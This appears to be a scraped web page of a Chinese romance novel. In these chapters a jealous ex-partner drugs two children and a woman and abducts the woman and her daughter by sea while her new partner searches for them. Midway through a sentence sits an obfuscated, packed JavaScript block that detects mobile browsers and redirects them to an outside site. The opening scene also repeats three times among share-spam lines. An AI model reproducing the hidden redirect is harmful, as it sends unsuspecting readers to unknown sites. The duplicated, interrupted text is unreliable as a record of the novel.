她的梦想,他当然会支持。 他揉了揉她的脑袋,答应道,“好! 林听懒在床上,伸了个懒腰,然后,又说,“薛老说,学到最后他会收一个关门弟子,会把毕生所学都传授给他。但是要经过各方面的筛选,我要努力了。 “不管怎么样,我都支持你。周自衡又揉了揉她的脑袋, “还不起床,小懒猫?” 林听贴在这个床上,“让我再躺会儿吧,昨晚都没睡好,都怪你。” …… 这一天,很快就结束了。 林听在薛老那里学完针灸手法第一讲之后,赶去幼儿园接柚子放学。 她赶到幼儿园的时候,迟迟不见落落和柚子出来。 校长笑盈盈地走上来,“柚子妈妈,落落和柚子在柚子爸爸的车上,他马上出来了。” 听到这个消息,林听脸色一垮,严肃起来,“校长,我之前跟你打过招呼的,那个男人可以在柚子的幼儿园教美术。可是他不可以擅自接走柚子。” 园长带着尴尬的笑容,解释道,“柚子妈妈,我知道你和柚子爸爸有一些矛盾。但是柚子爸爸真的很爱柚子,毕竟是孩子的父亲。看,柚子爸爸的车子出来了。” 林听顺着幼儿园的另一个侧门望去。 一辆黑色的商务车,缓缓驶出来。 她背着包包走过去,黑色的商务车也在她面前缓缓停下来。 江遇向来都是开他那辆黑色的红旗国礼。 今天怎么换了一辆商务车? 林听总觉得有什么事情要发生,心里隐隐不安。 车窗紧掩着,除了能看见一个生面孔,蓝眼睛黄头发的司机之外,看不到里面的光景。 她弯腰去看个究竟的时候,电动车门缓缓敞开。 坐在车门前的江遇,看了她一眼,“上车。” 林听没有好脸色道,“江遇,你到底要干什么,我说过了,不要老是做这些小动作。让你柚子和落落下车。” 江遇就没回应她。 他看着今日的林听,似乎和柚子出院之前,不太一样。 她脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890310|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红润,光泽十足。 耳畔边,还带着一枚小樱桃的金色黄金耳钉。 他记得这对耳钉在她十二三岁的时候,丢了,后来再也找不到了。 什么时候又冒出来了? 戴上这对金色的耳钉,衬托着她的肤色更加红润白皙,一看就是泡在蜜罐子里,有男人疼的模样。 想起她与周自衡相处的日日夜夜,他紧紧握着拳头。 胸腔的愤怒被他压下来,他温柔地回应着她,“落落和柚子睡着了,你上车,我送你们回去。” 落落和柚子怎么可能同时睡着。 一听就很有问题。 她赶紧上车看了看,两个孩子果然沉沉地睡在商务车的最后排,身上还盖着薄毯子。 她弯着腰往里面挪。 嘭一声! 车门紧闭。 林听的心,下意识咯噔一下。 来到柚子和落落面前,怎么摇也摇不醒这两姐妹时,更是心下难安地瞪向江遇。 “江遇,你对柚子和落落做了什么?” 下一瞬,江遇一掌砍在林听的后脖颈,她软软地倒在了江遇的怀抱里。 “杰西,你把宋律风的女儿送回去,然后到港口和我汇合。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “还不起床,小懒猫?” 林听贴在这个床上,“让我再躺会儿吧,昨晚都没睡好,都怪你。” …… 这一天,很快就结束了。 林听在薛老那里学完针灸手法第一讲之后,赶去幼儿园接柚子放学。 她赶到幼儿园的时候,迟迟不见落落和柚子出来。 校长笑盈盈地走上来,“柚子妈妈,落落和柚子在柚子爸爸的车上,他马上出来了。” 听到这个消息,林听脸色一垮,严肃起来,“校长,我之前跟你打过招呼的,那个男人可以在柚子的幼儿园教美术。可是他不可以擅自接走柚子。” 园长带着尴尬的笑容,解释道,“柚子妈妈,我知道你和柚子爸爸有一些矛盾。但是柚子爸爸真的很爱柚子,毕竟是孩子的父亲。看,柚子爸爸的车子出来了。” 林听顺着幼儿园的另一个侧门望去。 一辆黑色的商务车,缓缓驶出来。 她背着包包走过去,黑色的商务车也在她面前缓缓停下来。 江遇向来都是开他那辆黑色的红旗国礼。 今天怎么换了一辆商务车? 林听总觉得有什么事情要发生,心里隐隐不安。 车窗紧掩着,除了能看见一个生面孔,蓝眼睛黄头发的司机之外,看不到里面的光景。 她弯腰去看个究竟的时候,电动车门缓缓敞开。 坐在车门前的江遇,看了她一眼,“上车。” 林听没有好脸色道,“江遇,你到底要干什么,我说过了,不要老是做这些小动作。让你柚子和落落下车。” 江遇就没回应她。 他看着今日的林听,似乎和柚子出院之前,不太一样。 她脸色红润,光泽十足。 耳畔边,还带着一枚小樱桃的金色黄金耳钉。 他记得这对耳钉在她十二三岁的时候,丢了,后来再也找不到了。 什么时候又冒出来了? 戴上这对金色的耳钉,衬托着她的肤色更加红润白皙,一看就是泡在蜜罐子里,有男人疼的模样。 想起她与周自衡相处的日日夜夜,他紧紧握着拳头。 胸腔的愤怒被他压下来,他温柔地回应着她,“落落和柚子睡着了,你上车,我送你们回去。” 落落和柚子怎么可能同时睡着。 一听就很有问题。 她赶紧上车看了看,两个孩子果然沉沉地睡在商务车的最后排,身上还盖着薄毯子。 她弯着腰往里面挪。 嘭一声! 车门紧闭。 林听的心,下意识咯噔一下。 来到柚子和落落面前,怎么摇也摇不醒这两姐妹时,更是心下难安地瞪向江遇。 “江遇,你对柚子和落落做了什么?” 下一瞬,江遇一掌砍在林听的后脖颈,她软软地倒在了江遇的怀抱里。 “杰西,你把宋律风的女儿送回去,然后到港口和我汇合。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “还不起床,小懒猫? 林听贴在这个床上,“让我再躺会儿吧,昨晚都没睡好,都怪你。 …… 这一天,很快就结束了。 林听在薛老那里学完针灸手法第一讲之后,赶去幼儿园接柚子放学。 她赶到幼儿园的时候,迟迟不见落落和柚子出来。 校长笑盈盈地走上来,“柚子妈妈,落落和柚子在柚子爸爸的车上,他马上出来了。 听到这个消息,林听脸色一垮,严肃起来,“校长,我之前跟你打过招呼的,那个男人可以在柚子的幼儿园教美术。可是他不可以擅自接走柚子。 园长带着尴尬的笑容,解释道,“柚子妈妈,我知道你和柚子爸爸有一些矛盾。但是柚子爸爸真的很爱柚子,毕竟是孩子的父亲。看,柚子爸爸的车子出来了。 林听顺着幼儿园的另一个侧门望去。 一辆黑色的商务车,缓缓驶出来。 她背着包包走过去,黑色的商务车也在她面前缓缓停下来。 江遇向来都是开他那辆黑色的红旗国礼。 今天怎么换了一辆商务车? 林听总觉得有什么事情要发生,心里隐隐不安。 车窗紧掩着,除了能看见一个生面孔,蓝眼睛黄头发的司机之外,看不到里面的光景。 她弯腰去看个究竟的时候,电动车门缓缓敞开。 坐在车门前的江遇,看了她一眼,“上车。 林听没有好脸色道,“江遇,你到底要干什么,我说过了,不要老是做这些小动作。让你柚子和落落下车。 江遇就没回应她。 他看着今日的林听,似乎和柚子出院之前,不太一样。 她脸色红润,光泽十足。 耳畔边,还带着一枚小樱桃的金色黄金耳钉。 他记得这对耳钉在她十二三岁的时候,丢了,后来再也找不到了。 什么时候又冒出来了? 戴上这对金色的耳钉,衬托着她的肤色更加红润白皙,一看就是泡在蜜罐子里,有男人疼的模样。 想起她与周自衡相处的日日夜夜,他紧紧握着拳头。 胸腔的愤怒被他压下来,他温柔地回应着她,“落落和柚子睡着了,你上车,我送你们回去。 落落和柚子怎么可能同时睡着。 一听就很有问题。 她赶紧上车看了看,两个孩子果然沉沉地睡在商务车的最后排,身上还盖着薄毯子。 她弯着腰往里面挪。 嘭一声! 车门紧闭。 林听的心,下意识咯噔一下。 来到柚子和落落面前,怎么摇也摇不醒这两姐妹时,更是心下难安地瞪向江遇。 “江遇,你对柚子和落落做了什么? 下一瞬,江遇一掌砍在林听的后脖颈,她软软地倒在了江遇的怀抱里。 “杰西,你把宋律风的女儿送回去,然后到港口和我汇合。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第165章 贪恋她的香软 抱着怀里的林听,江遇让司机开了车。 他有太久太久,没有这样抱过林听了。 怀里的她,香香软软的。 扑面而来的气息,是他熟悉的味道。 她还是喜欢桅子味的洗发水,桅子味的洗衣液、沐浴露、香水。 怀里的她,周身上下都是这陈桅子花香的气息。 他轻轻吻了吻她额间发,脸颊贴下去。 一行泪水落下来,从他挺拔如峰的鼻尖落下去,又滴落在林听冷白皮的脸蛋上。 那泪水里饱含了他对林听太多的思念,以及他的痛苦、悔恨。 如果自己不曾做出那般猪狗不如的事情,他的听听何至于遭受那么多的苦与难,他和听听又何至于闹到今天这般桥归桥路归路的地步? 好在,此时此刻,林听终于又回到了他的怀抱。 他太贪恋此时此刻的团聚了。 脸颊紧紧贴着林听的脸颊,久久未分开。 思念的泪水变得肆意而又汹涌。 “听听,我们终于又在一起了。” 可是一想到这段日子来,周自衡这个男人日日夜夜霸占着他的听听。 他嫉妒的面容上和脖颈间,根根青筋暴起。 他的眼神像是淬了钢针,呼吸带着压抑的苦与楚。 好在,从今往后,他的听听永远只属于他一个人了。 “听听,我带你离开这个让你痛苦不堪的地方,我们去一个一年四季常年有雪的地方。” “你不是最喜欢下雪了吗?” “你肯定会喜欢那里的。” “去了那里,我们带着柚子快快乐乐地生活。” “我们再给柚子生一个弟弟一个妹妹,好不好?” 他抱着林听,自言自语。 憧憬在未来的美好之中,他额角的青筋终于消退。 这才露出一丝欣慰的笑容来。 …… 君悦府。 张淑琴听到别墅外的门铃声时,她正在准备着晚饭。 今天的晚饭准备了一大家子的。 半个小时前,她给林听打了电话,让她结束后,接着两个孩子回家,等周自衡回来后,到这边吃晚饭。 还说,以后这里就是她的娘家,一家人要永远一起热热闹闹的。 门铃声响起,她切着林听和孩子们都爱吃的南瓜,“秦姐,你去看看谁在按门铃。” 擦着玻璃的秦姐停下手上的活,擦了擦手,“哎!我这就去。” 在厨房打下手的周国立,说道,“不会是小听带着孩子们回来了吧?” 张淑琴继续切南瓜,准备给小听和孩子们蒸一盘糯米甜南瓜,“小听有密码,怎么会是小听。” 没过一会儿,秦姐抱着昏睡的落落,冲进客厅,大声喊道,“不好了,不知道是谁把落落放在门外,林小姐和柚子怎么没和落落一起回来?这孩子看起来好像昏迷了,周哥张姐,你们快来看看落落这是怎么了?” 张淑琴赶紧放下刀,闻声追出去。 早已走出去的周国立,赶紧把落落抱到客厅的沙发上躺着,拍了拍她的脸,好一会儿,落落都没有醒。 林听的手机是关机状态。 “你好,你所拨打的电话已关机。” 一声又一声的提示音,让人心下难安。 他们只好赶紧又给宋律风打电话。 宋律风接起电话后,张淑琴心中忐忑不安,慌慌张张道:“律风,你赶紧回来一趟,我联系不上小听,有人把昏迷的落落放到别墅外的草地,也不见小听和柚子跟着一起回来。律风,我总感觉要出大事。” “妈,你别急,我马上回来。”宋律风挂电话前,又说,“你们先给周自衡打个电话,问问情况。” 这时,周国立欣慰道,“落落醒了,落落终于醒了,告诉外公,你怎么睡着的,又是怎么躺在家门口的别墅外的?” 落落一脸懵。 她好像忘记发生什么事情了,“刚刚不是和柚子一起上了柚子爸爸的车吗?是校长说的,柚子爸爸会送我们回家。柚子妹妹呢?” 周国立问,“哪个柚子爸爸?” 落落:“就是那个很讨厌的叔叔,柚子不喜欢他的叔叔。外公,柚子妹妹呢,她和我一起上车的,怎么没见到柚子妹妹。” 张淑琴脸色垮下来,“坏事情了,江遇这男人是要把小听和柚子藏起来不成?” 闻言,落落急哭了,“外婆,那个坏叔叔是不是把柚子妹妹抢走了,我永远也见不到柚子妹妹了?” 呜呜呜……小丫头见不到柚子妹妹,着急哭了。 一旁,坐在摇摇椅里,刚刚会说话的小盼盼,也在呀呀呀地喊着,“姐姐,姐姐……” 盼盼越是喊,落落的小嘴越是扁得厉害。 一把抱着盼盼,哭道,“盼盼,柚子被我弄丢了,怎么办,呜呜呜,都是我不好,是我没有保护好柚子。” 周国立在一旁给周自衡打电话。 张淑琴见落落自责成这样,赶紧把小丫头抱住,一个劲儿地替落落擦泪,“别着急,柚子妹妹肯定能找回来的。” 这三姐妹从小感情好。 虽不是亲生的,可缺一不可。 张淑琴虽是安慰着外孙女落落,可是一想到林听和柚子很有可能被江遇拐走了,她也跟着眼泪汪汪的。 “小听这好日子才没过两天,江遇这男人真不是个东西。” …… 松油高速。 一辆商务车急速行驶着。 车窗忽然被打开。 风哗啦啦罐进来。 车内的林听和柚子,依然昏迷着。 绑在柚子辫子上的漂亮头绳,被江遇一一取下来,换成了他准备好的别的头绳。 头发散了。 他掳着女儿的长发,一缕一缕,重新辫起了一股好看的辫子。 女儿每天去上学,都会顶着一头漂亮的发型。 有时候是丸子头,有时候是双髻辫,有时候是麻花辫。 花样百出,每天都不重样。 他知道,那都是周自衡替女儿扎的头发。 因为同学们夸着柚子发型好看时,柚子骄傲地告诉同学们,那是她爸爸给她辫的。 而柚子承认的爸爸,有两位,一位是周自衡,一位是宋律风。 柚子又和林听天天和周自衡住在一起。 柚子的辫子,必定是出自周自衡之手。 周自衡是铁了心要抢走他心爱的女人和可爱的女儿,那样一个铁血刚毅的男人,竟然也会心灵手巧到辫出如此漂亮的发型来。 江遇不服输。 他这个当亲生父亲的,还没有替柚子梳过头发呢。 每个无人的清晨,午后,深夜,他拿着发型模特,对着视频里的辫发教程,学了一遍又一遍。 这是他第一次替女儿扎头发。 可是他手指间的动作,游刃有余。 他小心翼翼地,生怕弄疼了柚子。 他一边辫着柚子的头发,一边自言自语: “柚子,爸爸以后会好好弥补你和妈妈,让你剩下的童年都在快乐中成长。” “爸爸也一定会说服妈妈,再给你生弟弟,生妹妹,我们一家人团团圆圆,热热闹闹的。” 柚子头发上绑着的头绳,都被他取下来了后。 一并取下来的,还有柚子手腕上的平安绳,以及她脖子上的长命锁,还有她的书包挂件,以及林听的耳钉,项链,戒指。 两母女身上,但凡有可能装着周自衡定制的卫星定位器的东西,都被他取了下来。 然后,朝着大风刮进来的车窗,扔了出去。 因为他知道,前些天林听和柚子还有林振宇林建国被曹叔苏秀珍绑走时,周自衡能够第一时间找到他们,完全是因为柚子身上这些隐形的卫星定位器。 没了这些卫星定位,周自衡永远也找不到他们一家三口。 全部扔出去后,江遇又检查了一遍。 连同着林听的包包和手机,也一起扔了出去。 扔完了所有的东西,这才放下心来,关上了车窗。 一个小时后,周自衡按照定位,找到了松油高速。 卫星定位的无人机,发现了被扔在高速路外的头绳、手机、平安绳、长命锁、书包,挂件,耳钉,项链。 那是柚子和林听的。 周自衡下了车,亲自将这些东西捡起来。 宋律风陪在他的身边,看着这些好不容易捡回来的东西,不由愁了起来: “周自衡,江遇知道这里面装了卫星定位,看来他铁了心要把小听和柚子永远藏起来。” “不知道他会把他们母女俩藏去哪里?” “我们赶紧去机场,说不定还能把人拦截下来。” 周自衡握着柚子和林听的东西,面色阴沉,“江遇不会去机场,他应该会走海路。” 机场有航空管制。 航线都能够查得清清楚楚。 可是船到了海上,申请的航线就可以随意更改了。 地球这么大,海洋这么宽,江遇要把林听和柚子带去哪里,他们根本不知道。 要查起来,那简直是大海捞针。 两人站在高速路的绿化带。 车辆一辆辆飚过。 那风阵阵扑过来,像是刀子一样割着周自衡。 “宋律风,我们现在去港口。” 说着,他纵身一跳,越过绿草地旁的隔离带,大步迈进车里。 宋律风跟着坐进车里,忧心忡忡道,“周自衡,鹏城有好几个港口,我们先去哪个港口?” 周自衡没有回应,他给洛高打了电话,让洛高派人去每一个港口拦截。 洛高安排这种事情,向来滴水不漏。 而他的人办事效率也极高,从来就没有失手过的事情。 否则,他也不可能从一个即将被执行枪决的死刑犯,成功越狱,还能在短短的时间内,成功翻案,又坐上周家家主的位置。 即使如此,周自衡心里依然没有底。 他总感觉这一次,他即将永远地失去林听和柚子。 明明才刚刚在一起。 昨晚的所有恩爱甜蜜,却仿佛只是一场毫不真实的梦。 车厢内的气氛,焦灼而沉闷。 空气是稀薄的。 宋律风不知道该如何安慰周自衡,见周自衡额角紧绷着,拳头也紧握着,整个脸色黑丫丫如同乌云压顶,宋律风选择了沉默。 几个小时的搜索下来。 周自衡的人,在各大码头,无一所获。 而此时,已经是深夜了。 码头上,海风阵阵,像刀子一样刮过来。 洛高来到周自衡的面前,很是垂头丧气: “家主,其它的线索没有查到。” “但确实有一艘轮船被江遇买下来了。” “这艘游轮早在六个小时前离开了港口。” “这是这艘轮船申请下来的航线。” 那张航线图纸,被周自衡撕得稀碎。 因为他知道,江遇不可能会按照申请的航线来走的。 浓浓的夜色里,海岸线的远处,是一望无垠的海浪,在拍打着,翻滚着。 汹涌的海浪一波又一波地涌过来。 那样乌泱泱的大浪,既是撞在海边的礁石上,又像是撞在周自衡的胸口上一样,让人无法呼吸。 海风吹散了一地的碎纸片,却吹不散周自衡紧拧的眉心。 现在唯一知情的人,可能只有江书臣。 他沉沉地吸了一口气,带着鱼腥味的海风灌入胸腔,让他更加窒息难受,“去星河湾。” 洛高猜测道,“家主,您是要去找江书臣?可是这大半夜的,江书臣会见咱们吗?” 周自衡没有回答洛高。 他转身离开了这夜风狂啸海浪扑打的港口。 他一边走,一边掏出手机,亲自给江书臣打了一通又一通的电话。 人在外地的江书臣,并没有及时接起周自衡的电话。 而周自衡,火速赶往了星河湾的怡和别苑。 怡和别苑的门口,门铃一声又一声地响起,却始终没有人来开门。 抬头一望,二楼的卧室明明亮起了灯来。 周自衡急着见江书臣,顾不得礼数,直接按下了开门的密码。 曾经,周自衡、江遇、江书臣三人是生死之交的好兄弟,他们交换了每个人的开门密码。 三兄弟在彼此的房子里,来去自如。 按下密码锁后,周自衡直接闯入。 奇怪的是,今天江书臣家一个佣人也没有。 楼上的夏静姝正在进行着一场刺激而又激烈的床事。 那张只属于夏静姝和江书臣的大床,躺着的男人却不是江书臣。 听到门铃声,夏静姝赶紧从男人身上下来,一边穿衣服,一边吩咐男人: “不好,来人了,你赶紧爬到窗户外的空调位上躲一躲。” 她把衣服迅速裹在身上,一边系腰带,一边走向门外。 此时此刻,门外响起一阵急促的敲门声。 “谁啊,这般没规矩的?” 江书臣今天去外地出差了。 夏静姝明明找了借口,让家里所有的佣人放了假。 谁还能开他们家的家门。 要是让她知道是哪个不懂规矩的佣人,她非把他炒鱿鱼了。 开门的那一刹那,夏静姝惊了一大跳,“周,周自衡,怎么是你,你大半夜的来我家干什么?” 周自衡没有多看夏静姝一眼。 自然没有注意到夏静姝一红光满面,一脸那件事后的香汗淋漓。 他朝里面看了一眼,“江书臣呢?” “书臣出差了呀。” 周自衡发现江书臣不在家,而夏静姝的床头柜上摆着一盒避孕套。 盒子是拆开的。 他抽回目光,“抱歉,打扰了。” “哎呀!”周自衡抽身离开时,夏静姝顺势往他身上一倒,“周自衡,我生病了,江书臣也不在家,你可不可以留下来送我去医院?” 如果周自衡能送她去医院,她就能和周自衡多一些单独相处的机会。 这样的机会多了起来,她自然有办法拿下周自衡这般让她魂牵梦绕的男人。 哪怕就是江书臣,也样样不如周自衡优秀。 更不用说她的那些炮友了。 如果能够和周自衡上一回床,夏静姝宁愿折寿五年,十年。 那软软的身子,刚刚挨着周自衡,周自衡毫不留情面地往后一倒。 依着他的行事作风,他肯定会毒辣地怼她一通。 但此时此刻,周自衡满脑子都是林听和柚子母女俩,他没功夫教训这个又骚又荡的荡妇。 “生病了自己打120。” 话音还没停,周自衡人已远去。 留下倒在门框上的夏静姝,气得直跺脚:气死人了! 这个时候,夏静姝的炮友从窗户外的空调机爬回来,抱紧夏静姝纤细的腰枝,“姐姐,刚刚那个男的是谁啊,弟弟我可是吃醋了。” 夏静珠摸了摸男人的胸肌,一脸妩媚笑意,“不管他,我们继续。” …… 楼外。 周自衡走出来后,顿觉空气清新了不少。 有夏静姝在的地方,空气都是浑浊不堪的。 凉凉的夜风拂面而过,周自衡吸了一大口气,可是胸腔依旧堵堵的。 没有林听和柚子的下落,他的胸口越来越发紧。 可是想到夏静姝刚刚的反应,他察觉出异样,对身侧的洛高说,“安排一个人在这里盯着,看看夏静姝的动静。” 洛高不解,“家主,林小姐和柚子的事情,和夏静姝有什么关系?” 周自衡:“这个女人很有可能出轨了。” …… 茫茫的汪洋之中,一艘巨轮像一叶轻舟一样,在海平面上沉沉浮浮。 游轮之上,一间豪华的套房里,林听在一阵眩晕中,缓缓睁开了眼睛。 入目之处,是一片漆黑。 适应了四周的黑之后,她看到了从窗外照进来的月光。 窗外,还有海浪的声音。 这是哪里? 她赶紧爬了起来。 身边忽然有一道熟悉的声音,“你醒了?” 第166章 去一个你喜欢的地方 这个声音,让林听的身子紧紧一崩。 那是她永远也不想再听到的声音。 从听到他说出第一个字开始,许多痛苦往事浮现脑海,像是怎么也摆脱不掉的噩梦。 潮水般的记忆涌进脑海里。 每一帧画面,都是她永远也不想再碰触的过往。 她好不容易摆脱掉的过去,被江遇如此轻而易举地唤醒。 缓缓转头,看到了躺在身侧,同样跟着她一起从床上坐了起来的江遇,胸腔和肺部像是在炸裂了。 借着窗外的星光,江遇满眼的内疚和深情,映入她的眼帘。 明明吹着一阵又一阵的海风,林听却忽然觉得胸腔里没了一丝空气。 整个人窒息到极点。 她这排斥又厌恶的神情,落入江遇眼眸。 那不只是她的真实情绪,更是一根扎进江遇胸口的刺。 他做了一个沉沉的深呼吸,以此来缓解。 克制着那股胸口涌起的痛楚,他无比抱歉道: “听听,对不起,只能用这样的方式,让你回到我身边。” 啪! 林听一个耳光抽在江遇的脸颊。 她毫不给他留情面。 一巴掌下去,使尽了她所有的力气。 朦胧月光中,立即见江遇脸颊上有了红红的手指印。 这一把掌,扇得她自己掌心也跟着一阵灼痛。 可她恨不得再抽他一个耳光。 眼睛死死地盯着偏着头的,默默承受这一切的江遇。 “江遇,你到底要干什么。” “柚子呢,柚子在哪里?” 江遇这才缓缓扭过脑袋,忍着痛,轻声道,“你再吵,就把柚子吵醒了。” 林听这才发现,柚子就躺在江遇的右侧。 而江遇,睡在她和柚子的中间。 这个男人,这是痴心妄想着要与她们母女俩一家团聚? 真是可笑! 林听面不改色,“没关系,周自衡一定能找到我们母女俩的。” 闻言,江遇勾唇一笑。 那是在笑林听幼稚,也是在嘲笑他自己。 曾经眼里只有他一人的听听,现在满心满眼都是另外一个男人,而那个男人与他有着过命的交情,是他最好的兄弟。 想到周自衡和林听的种种,江遇紧紧咬着后牙曹。 那紧崩的腮帮子,有紧崩的脖颈肌肉线条,是他的隐忍与克制。 还有那无言的痛楚。 随即,又是一声冷笑,“你看看,周自衡送给柚子的那些头绳,长命锁,平安绳,还在吗?” 林听绕过江遇,从床尾爬到柚子的身边看了看。 那些绑在柚子辫子上的头绳,早就被换掉了。 还有柚子手腕上的平安绳,脖子上的长命锁,都不见了。 她摸了摸自己的耳钉,也不见了。 伸手,戴在自己手上的戒指,也不见了。 那是周自衡花了两个月的时间,亲自为她铸造的结婚戒指,上面还有周自衡的名字。 王八蛋! 这一次,怕吵醒柚子的林听,没有再给他耳光。 也没有再骂他。 她抓起江遇的手,用力咬下去。 一排牙印嵌进江遇的手臂,越嵌越深,很快有鲜红的血液涌出来。 又咸又腥的味道涌入唇齿。 林听依然没有松口。 江遇从最初疼得直皱眉头,到最后欣慰一笑。 这笑声中,竟然有一丝满足。 他喜欢林听用这样的方式,在他的身体上留下印记。 他记得他们的初夜,是在她高考后的那个夜晚。 她刚刚成人。 情到浓时,他们谁都没有控制住。 在她十八岁半,他二十一岁那一年的夏天,夜风那样柔,月光那样明亮,记忆那样清楚。 疼的时候,她也是像此刻一样,用力地咬着他的肩。 感受到他近乎变态的轻笑声,林听终于松了口。 她擦到嘴角的血迹,望着不可理喻的他,“江遇,你简直就是个疯子。” 是。 他就是个疯子。 他承认,林听和周自衡真正在一起后的日子,他嫉妒地发疯。 这些日子来,他从来没有睡过一个安稳觉。 他每天都以忏悔、痛苦与嫉妒中,整夜整夜地睡不着觉。 有时候他会梦见林听死在抢救室里,有时候会梦见林听依偎在周自衡的怀里笑得那样明媚。 他在每一个夜晚里从噩梦中醒来。 陪伴他的,只有被他吸掉的一根一根的烟头,还有那夜色里的孤独和痛苦。 他知道,他对林听造成的伤害可谓罪孽深重。 说什么,都无法弥补。 手臂上的疼痛,倒是让行尸走肉般的他,第一次觉得他还是活着的。 “听听,未来的日子还很长,我会慢慢向你证明,我的悔过与改变。” “你要是不喜欢我躺在你身边,我睡沙发。” 说着,他起身下了床,抱着一张毯子,躺到了床边的沙发上。 而林听,爬起来趴到窗边。 放眼一望,黑丫丫一片。 又腥又冷的海风扑面而来。 她和柚子,竟然置于一艘十几二十米高的巨大游轮之上。 夜晚的海面黑沉沉的,一望无尽头。 这个男人,为了躲避周自衡的追查,竟然放弃了空动,选择了海路。 她回到床边,问,“江遇,你要带我们去哪里?” 江遇从沙发上起身,拧起床边的拖鞋,弯腰放在她的脚边。 林听追问,“你到底要带着我和柚子去哪里?” 见她不穿鞋,江遇强行握住她纤细白皙的脚踝,将鞋子穿在她的脚上。 “小心着凉!” 虽然她脚下踩着的,是软软的地毯。 那地毯是他让人新铺上去的,一尘不染。 但他还是怕她着了凉。 说完,这才起身,轻拂她耳畔边被风吹乱的发,“去一个已经下雪的地方。那个时候你不是说,你最喜欢看雪吗。我说过的,以后一定带你去看看下雪地方,风景到底有多美。” 那是她高考结束后,与他偷偷尝禁果,躺在他的怀里,说着想要去一趟有雪的地方,进行一次长途旅行。 然后和他一起,走在雪地里。 因为那样,走着走着,就能白了头。 这样的话语,这样的画面,既是回忆在江遇的脑海里,也同时出现在了林听的脑海里。 她确实说过那样的话。 可是,那是她不愿意承认的那段愚蠢而又荒唐的曾经。 她冷冰冰道,“我现在不喜欢雪了。” 冷冰冰的语气,让江遇脸上的笑容僵下来。 他吸了一口空气。 胸口依然堵堵的。 想要重新拂过她那被风吹乱的发,这一次,她躲开了。 他的手僵在半空,“没关系,等你看到了那里的风景,你一定会喜欢的。” 她不想再和他说话。 她与他话不投机半句多。 扭头转身,躺回床上。 柚子睡得正香。 她摸了摸柚子的脑袋,望着站在床边的男人,问,“柚子在车上熟睡时,你对她做了什么,是不是用了乙醚。” 乙醚是毒化制品,对人体有害。 尤其是大脑发育不全的小孩子。 身为柚子的亲生父亲,他怎么可能给柚子用那种毒化制品? 他解释道,“柚子吸入的是纯中药制剂,我亲手调制的,不会有任何副作用。只是让她沉睡的时间久一些而已。” 林听心里哼了一声,亏他还算有一丝生为父亲的良心。 可是,林听不但不会因此有半点欣慰,反而更加讨厌他的处心积虑。 这个男人是学西医的,能在短时间内制造出纯中药制剂的药剂,让柚子和她长时间处于昏睡状态。 可见他早就在计划着这次的行动了。 她躺在柚子身边,再不理会这个男人。 心里盘算着,到底该如何脱离这个男人的魔爪。 可是她们身处茫茫大海。 她唯一能联系上周自衡的手机,也不见了。 想要逃脱江遇的魔爪,简直难如登天。 好在,柚子还在她的身边。 她抱紧柚子。 床边的男人走到窗边,关了窗,轻声对她说,“睡吧,晚安。我就在旁边,有什么事随时叫我。” 林听没有应声。 她的脑海里,是周自衡那张铁血柔情的面容,时刻浮现。 联系不上她,周自衡一定很着急吧。 她不知道周自衡有没有办法,把她们母女俩找回去,她满脑子都是那个从小没有疼的男人。 如果在这个时候失去了她,他该有多痛苦,多难受? 沙发上的男人似乎已经睡着了,听着那均匀的呼吸声,林听无比坚定道,“江遇,我和你永远不可能。不管你把我藏在哪里,藏多久,我都不会回心转意。你死了这条心吧。” 那均匀的呼吸声,忽然被拉长。 胸口窒息的江遇,沉沉地做了一个深呼吸。 浓浓的夜色里,江遇缓缓睁开了眼睛,瞧着背对着自己,抱着柚子的林听,他也无比坚定道,“路遥知马力,日久见人心。我在的是时间。” 为了这个计划,他连林江医药也不管了。 那些研发项目,都是国家重点扶持的项目,是他曾经想要造福人类的梦想。 可是他都不要了。 往后余生,他会把所有的精力都用在柚子和林听身上。 他相信,林听和柚子一定能够感受到他的忏改和转变以及他那颗真诚的心。 …… 周自衡连夜开车,赶到了江书臣出差的城市。 此时,天色未亮。 车子还未抵达江书臣的酒店,周自衡便打电话催促江书臣从酒店出来了。 江书臣听说林听和柚子被江遇带走了,整个鹏城,乃至是整个国内,都没有江遇的踪影。 他也很着急。 见到周自衡的车子缓缓驶进酒店大门,江书臣大步走过去。 车子停稳,周自衡也赶紧下了车。 江书臣一脸愧疚,“阿衡,抱歉,林叔和江遇现在都不管林江医药,所有的事情都落在我一个人头上,我是一个人当三个人用,忙得没日没夜的。还是联系不上小听和阿遇吗?” 闻言,周自衡心下更有数了。 江书臣忙成这个样子,难怪家里那位不正经的妻子,会去外面找男人。 前夜离开星河湾的怡和别苑之后,周自衡让洛高安排了人盯着,拍到了夏静姝天不见亮,偷偷送走一个小白脸的照片。 这些照片,周自衡不准备这个时候给江书臣。 现在已经够乱的。 他不希望江书臣突然没了主心骨。 加上他心系着林听和柚子母女俩,暂时没有别的闲心去管夏静姝的那档子破事烂事。 他让江书臣上了车。 车上,直入主题。 “江遇临走的时候,吩咐过你什么事情?” 江书臣从公文包里,掏出一把车钥匙,“阿遇让我交给你的。他知道你出车祸的事情,怕周家的人和你的那些仇家报复你,重新给你定制了一辆安全性能很高的车子。” 那把车钥匙,周自衡根本没打算接过手来。 江书臣硬塞进他的怀里,“你别看这是一辆国产的比亚迪,但是它比你之前那辆红旗国耀还要更牛B,不仅防爆,防弹,防撞,而且掉进水里,还能在水里当船一样行驶三百多公里。这是我们国产车的新技能。” “我不是问你这个,是江遇有没有异常行为。” 回归正题后,江书臣努力回想,“要说异常行为……江遇前前后后让我准备了两千个亿的流动资金。也不知道他到底要干什么吗。” 周自衡终于有了一丝眉目。 这个男人准备这么一大笔现金流,肯定是有目的的,“查的到这笔现金流花在什么地方吗?” 江书臣:“我要回去查一查。” 周自衡:“我和你一起去查。” 